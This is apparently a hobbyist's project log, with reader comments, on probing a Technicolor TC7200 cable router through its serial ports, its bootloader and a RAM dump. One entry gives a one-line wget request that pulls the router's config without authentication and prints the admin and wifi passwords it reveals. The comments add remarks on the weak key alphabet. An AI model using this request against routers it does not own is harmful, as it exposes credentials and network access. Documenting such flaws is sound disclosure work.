technicolor tc7200 cable "modem"

Description

The lowest-end cable modem available for UPC, KabelDeutschland and other cable internet provides is the Technicolor TC7200. It is marketed as "modem", but in fact it is a router.
The firmware is branded/limited, buggy and "ugly" (e.g. complete web interface live-translates via javascript, non-working options like bridge-mode and wifi). As the device runs linux and provides different interfaces (including cable), it would be nice to get into the system and play with it. I will use a unit off ebay, as the units provided by the cable company are still owned by them (and I dont want to jam the interwebs).

Details

[!!!] FOR CHANGES/MODS/HACKS ON THE DEVICE I USE A UNIT OFF EBAY WHICH I (not a KabelBW customer!) NEVER CONNECT TO THE CABLE NETWORK FOR THIS EXPERIMENTS [!!!]

The Technicolor tc7200 runs linux. Neither Technicolor nor the cable provider (KabelBW) provides the sources for the GPL licenced code. Technicolor does not answer end-customer questions, KabelBW does not answer questions without a customer number (which I will not provide because it is not relevant for the request).

On top of that, the device is unstable and insecure (e.g. get admin password or do factory reset from LAN side with a single http requst) - yay! It is not possible to configure wireless (config page just shows up a error message), but wireless is still enabled.

To secure devices and network I had to add a second openwrt box and DMZ it (at least this works...).

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rawe • 01/21/2015 at 22:20 • 0 comments
finally I've got a unit the cable provider does not want back, so it is time to open it up and check for the two UART interfaces.. One UART interface provides bootloader access, the other one linux /dev/ttyS0. There is one SPI flash of 1megabyte, one parallel nand flash chip and one DDR ram chip.
<insert pic here>
the linux login does not work (admin/admin), as the session terminates immediately after login.
It is not possible to dump the flash content by the bootloader as the memory dump function only handles addresses 0x80000000 and up. Fortunately the boot images seem to get loaded into this address space during bootup which may make the system cold-boot-attackable. E.g. power up the device, reset it and then dump the RAM contents. As this takes ages to dump megabytes of data over uart, here is just the stirngs command on the first few dumped kilobytes after 0x80000000 to prove that it is at least possible to get some useful data out of this:
```
!@        
 @T@
b4BM
Bldr
2.4.0alpha18p1
Bldr
LVGbootloader
image1
image2
linux
linuxapps
permnv
dhtml
dynnv
linuxkfs
...
```
(these strings are used by the bootloader for the flash partition overview table printed on startup).
Next steps are to check the available address space (too high addresses crash the unit). If it is possible to address 128megabytes after 0x80000000 the real physical memory is mapped to these addresses.
from linux bootlog:
```
[ 21.310000] Serial: BCM63XX driver $Revision: 1.4 $
```
dump admin and wifi password from LAN
rawe • 11/25/2014 at 20:11 • 0 comments
just do a
```
wget -q -O - http://192.168.0.1/goform/system/GatewaySettings.bin | strings
```
and receive
```
8021
!UPC1386571
    *    +
    SKKMRPXP
    27354285
    Broadcom
    Broadcom
TechnicolorAP
123456
#0x000102030405060708090A0B0C0D0EBB
0000001
CDP.
RG..
admin
Technicolor
clock.via.net
ntp.nasa.gov
tick.ucla.edu
FIRE
T802
UPC1386571
2.4G
UPC0118016
    SKKMRPXP
    EZXRXZZE
THOMSON
THOMSON
    SKKMRPXP
THOMSON
THOMSON
THOMSON
UPC.
<Admin
MLog
admin
admin
```
The last two lines are the admin login (user admin, password admin). I leave them set to their default config, because it does not increase security to change them...
The wireless name is UPC1386571 and the password SKKMRPXP:
```
Cell 08 - Address: 8C:04:FF:*:*:*
    Channel:11
    Frequency:2.462 GHz (Channel 11)
    Quality=54/70  Signal level=-56 dBm  
    Encryption key:on
    ESSID:"UPC1386571"
    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
      24 Mb/s; 36 Mb/s; 54 Mb/s
    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
    Mode:Master
    Extra:tsf=00000008198c21d5
    Extra: Last beacon: 220ms ago
    IE: IEEE 802.11i/WPA2 Version 1
        Group Cipher : TKIP
        Pairwise Ciphers (2) : CCMP TKIP
        Authentication Suites (1) : PSK
    IE: WPA Version 1
        Group Cipher : TKIP
        Pairwise Ciphers (2) : CCMP TKIP
        Authentication Suites (1) : PSK
```
There is no way to disable wireless (or edit the password) because I am greeted with the error message
The connection to the server was reset while the page was loading.
if I try to access the "Wireless" settings tab in the web UI. It is not possible to edit the dumped config file and write it back, because this is broken in current software.
De facto, anyone who figures out the algorithm that calcs the wifi password based on... well most propably just the MAC address or something other visible from the outside... can access my wireless network which I never activated (btw. internet was ordered WITHOUT wifi, because they want extra money for it!). If the wifi password is truely "random", the password is still only 8 digits only uppercase letters from which only E S P K M R X Z were observed so far (only 8!).
It is time to wrap that device in aluminium foil...
Edit: told you so... http://derstandard.at/2000028921659/UPC-Standard-WLAN-Passwoerter-kinderleicht-zu-knacken
I am sure TechnicolorAP / 123456 and the other strange strings are other login credentials, maybe used for telnet (did not try this on the internet connected/KabelBW provided unit):
```
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'

Broadcom Corporation Embedded BFC Telnet Server (c) 2000-2008

WARNING: Access allowed by authorized users only.

Login:
```
other source for CSRF Vulnerabilities: https://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/

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Eric Hertz wrote 01/13/2015 at 13:09

Is it part of the 1337 haxor's mentality to make a description that's only relevent to those "in the know" or...? Seriously.

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rawe wrote 01/21/2015 at 21:01

description was replaced with one that should be clearer, just ask if there are additional Qs.

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Eric Hertz wrote 01/21/2015 at 22:11

Ah, cool, thanks.

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basto wrote 01/10/2015 at 16:41

"if I try to access the "Wireless" settings tab in the web UI. It is not
possible to edit the dumped config file and write it back, because this
is broken in current software"

I ran into the same problem - there is a trick to fix it:

1. Remove the power AND the coax from the modem
2. Do a factory reset (Plug power, and push 40 seconds the reset button)
3. Login and click wireless, disable wireless, save
4. Replug everything like it was, power cycle.

Here's the German reference:

http://www.unitymediakabelbwforum.de/viewtopic.php?f=77&t=29281&start=30#p306077

Apart from that: What you said about the sources being unavailable to endusers is very interesting. If Technicolor really refused to give you the source this is a clear GPL violation and you should point it out to the FSF .

https://www.gnu.org/licenses/gpl-violation.html

They already acted in case of AVM:

https://fsfe.org/news/2011/news-20110620-01.en.html

Edit: Oh, another thing.

Also my wireless keys contain 8 letters, but I think the full alphabet is used for the random generation.

Additionally to yours above, mine contain:

A,B,C,F,G,H,N,T,Q (taken both from 2.4 and 5 Ghz SSIDs)

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rawe wrote 01/13/2015 at 12:31

Thanks for the wifi hints :) I still need to verify that GPL code runs on the device myself... I have no time to look into the GPL thing in detail, but here is a starting point if somebody wants to:

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basto wrote 01/14/2015 at 12:32

You don't need to verify GPL software anymore.

Look here:

http://www.boards.ie/vbulletin/showthread.php?s=70037423285b05c4bc6b39549dbc4cf9&t=2057147563

The serial console reads:

"""

(... lots of stuff...)

Booting Linux...

(...lots of stuff...)

"""

I also read that BusyBox (also GPL) is installed, but I don't find the reference anymore.

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rawe wrote 01/14/2015 at 13:12

as seen on https://news.ycombinator.com/item?id=7584466 ;)

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